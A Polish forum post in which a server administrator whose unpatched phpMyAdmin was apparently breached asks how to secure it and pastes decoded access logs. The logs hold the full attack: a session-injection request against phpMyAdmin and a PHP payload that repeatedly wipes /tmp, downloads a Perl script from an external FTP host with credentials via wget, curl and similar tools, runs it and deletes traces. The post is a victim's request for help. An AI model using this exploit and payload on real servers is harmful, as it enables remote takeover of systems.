phpmyadmin - wlamanie - zabezpieczenie
Witam,
na początku powiem, że nie miałm do kogo się zwróć więc piszę tu. :-)
wydaje mi się, że włamania dokonano przez phpmyadmin (przynajmniej tak wnioskuje z logów). Dodadam, że serwer nie był aktualizowany i jest to wersja ubuntu 9.04 (powoli go przenosze na Debiana).
Po zalogowoaniu zauważyłem 2x sshd oraz "klog -x" był uruchomiony z użytkownika www-data.
Po zrobieniu url decode otrzymałem wynik podany poniżej(chiałem dodać jako załącznik ale niestety nie mam możliwości, wyświetla mi się pusta strona).
Chciałbym się dowiedzieć jak można się zabezpieczyć? I czy sama aktualizacja pomoże? Czy to jest jakiś bug w phpmyadmin czy może w samym systemie? Tak czy siak muszę od nowa postawić bo nie wiem co tak do końca zostało zmodyfikowane.
Będę wdzięczny za informacje.
66.221.192.4 - - [10/Apr/2012:17:34:57 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=74ffaa8f9bfa6 cc5f141994531858d18&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :50:"/tmp/sess_74c6a497fdd5817e05003c9cbde76b2245567918";}} HTTP/1.1" 200 775 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:34:58 -0500] "GET /phpmyadmin/index.php/index.php?token=74ffaa8f9bfa6cc5f141994531858d18 HTTP/1.1" 200 8414 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:34:58 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=74ffaa8f9bfa6 cc5f141994531858d18&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :54:"/var/tmp/sess_74c6a497fdd5817e05003c9cbde76b2245567918";}} HTTP/1.1" 200 867 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:34:59 -0500] "GET /phpmyadmin/index.php/index.php?token=74ffaa8f9bfa6cc5f141994531858d18 HTTP/1.1" 200 8506 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:00 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=74ffaa8f9bfa6 cc5f141994531858d18&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :58:"/var/lib/php/sess_74c6a497fdd5817e05003c9cbde76b2245567918";}} HTTP/1.1" 200 867 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:01 -0500] "GET /phpmyadmin/index.php/index.php?token=74ffaa8f9bfa6cc5f141994531858d18 HTTP/1.1" 200 8506 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:01 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=74ffaa8f9bfa6 cc5f141994531858d18&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :59:"/var/lib/php4/sess_74c6a497fdd5817e05003c9cbde76b2245567918";}} HTTP/1.1" 200 867 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:02 -0500] "GET /phpmyadmin/index.php/index.php?token=74ffaa8f9bfa6cc5f141994531858d18 HTTP/1.1" 200 8506 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:03 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=74ffaa8f9bfa6 cc5f141994531858d18&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :59:"/var/lib/php5/sess_74c6a497fdd5817e05003c9cbde76b2245567918";}} HTTP/1.1" 200 867 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:35:04 -0500] "GET /phpmyadmin/index.php/index.php?token=74ffaa8f9bfa6cc5f141994531858d18 HTTP/1.1" 200 43562 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
66.221.192.4 - - [10/Apr/2012:17:15:35 -0500] "GET /phpmyadmin/index.php/index.php?session_to_unset=123&token=be909249fcdf9 1089efe7dd100dfca49&_SESSION[!bla]=|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s :59:"/var/lib/php5/sess_ed48bb3784d8d9d70f7a3708439db3b0b7251f1c";}}& _SESSION[payload]=<?php
echo exec('cd /tmp;rm -rf *;killall -9 perl;wget ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo exec('cd /tmp;rm -rf *;curl -O ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo exec('cd /tmp;rm -rf *;fetch ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo exec('cd /tmp;rm -rf *;lwp-download ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo exec('cd /tmp;rm -rf *;lynx -DUMP ftp://wn:[email protected]/grt.txt >gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo passthru('cd /tmp;rm -rf *;killall -9 perl;wget ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo passthru('cd /tmp;rm -rf *;curl -O ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo passthru('cd /tmp;rm -rf *;fetch ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo passthru('cd /tmp;rm -rf *;lwp-download ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo passthru('cd /tmp;rm -rf *;lynx -DUMP ftp://wn:[email protected]/grt.txt >gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo system('cd /tmp;rm -rf *;killall -9 perl;wget ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo system('cd /tmp;rm -rf *;curl -O ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo system('cd /tmp;rm -rf *;fetch ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo system('cd /tmp;rm -rf *;lwp-download ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo system('cd /tmp;rm -rf *;lynx -DUMP ftp://wn:[email protected]/grt.txt >gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo shell_exec('cd /tmp;rm -rf *;killall -9 perl;wget ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo shell_exec('cd /tmp;rm -rf *;curl -O ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo shell_exec('cd /tmp;rm -rf *;fetch ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo shell_exec('cd /tmp;rm -rf *;lwp-download ftp://wn:[email protected]/grt.txt;mv grt.txt gthhefv.txt;perl gthhefv.txt;rm -rf *');
echo shell_exec('cd /tmp;rm -rf *;lynx -DUMP ftp://wn:[email protected]/grt.txt >gthhefv.txt;perl gthhefv.txt;rm -rf *');
?> HTTP/1.1" 200 339437 "http://my.ip.add.ress/phpmyadmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
Copyright © 2006-2024 - HACK.pl. Wszelkie prawa zastrzeżone.